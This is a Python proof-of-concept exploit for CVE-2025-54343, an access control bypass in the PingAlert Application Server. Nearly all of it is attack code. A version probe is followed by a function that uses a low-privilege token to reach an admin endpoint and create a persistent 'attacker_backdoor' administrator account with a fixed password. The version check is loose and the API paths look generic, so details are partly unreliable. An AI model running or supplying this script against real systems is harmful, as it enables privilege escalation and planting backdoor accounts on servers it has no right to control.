CVE-2025-54343

# CVE-2025-54343 PoC - Desktop Alert PingAlert Access Control Bypass # Target: Desktop Alert PingAlert Application Server # Affected Versions: 6.1.0.11 to 6.1.1.2 import requests import json TARGET_HOST = "http://target-server:8080" CVE_ID = "CVE-2025-54343" def exploit_privilege_escalation(target_host, low_priv_token): """ Exploit Incorrect Access Control vulnerability in PingAlert Application Server to escalate privileges from low-privilege user to administrator """ headers = { 'Authorization': f'Bearer {low_priv_token}', 'Content-Type': 'application/json', 'X-CVE-Research': CVE_ID } # Step 1: Attempt to access admin endpoint with low privilege token # The server should reject this request but due to the vulnerability it doesn't admin_endpoint = f"{target_host}/api/v1/admin/users" try: response = requests.get(admin_endpoint, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: Admin endpoint accessible with low privilege token") print(f"[+] Response: {response.text}") # Step 2: Create new admin user for persistence create_user_payload = { "username": "attacker_backdoor", "password": "P@ssw0rd123!", "role": "administrator", "email": "[email protected]" } create_response = requests.post( f"{target_host}/api/v1/admin/users/create", headers=headers, json=create_user_payload ) if create_response.status_code == 201: print("[+] SUCCESS: Backdoor admin user created") return True else: print(f"[-] NOT VULNERABLE or Token invalid: Status {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_version(target_host): """Check if target is running vulnerable version""" try: response = requests.get(f"{target_host}/api/v1/system/version", timeout=10) if response.status_code == 200: version_info = response.json() version = version_info.get('version', '') print(f"[*] Target version: {version}") # Check if version is in vulnerable range version_parts = version.split('.') if len(version_parts) >= 3: major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2]) if major == 6 and minor == 1 and 0 <= patch <= 1: return True return False except: return None if __name__ == "__main__": print(f"[*] CVE-2025-54343 Exploit - Desktop Alert PingAlert Access Control") print(f"[*] CVSS: 9.6 CRITICAL") print(f"[*] Target: {TARGET_HOST}") # First check version is_vulnerable = check_version(TARGET_HOST) if is_vulnerable: print("[+] Target appears to be running vulnerable version") elif is_vulnerable is False: print("[-] Target does not appear to be vulnerable") # Note: You need a valid low-privilege token to exploit # low_priv_token = "your_low_privilege_token_here" # exploit_privilege_escalation(TARGET_HOST, low_priv_token)

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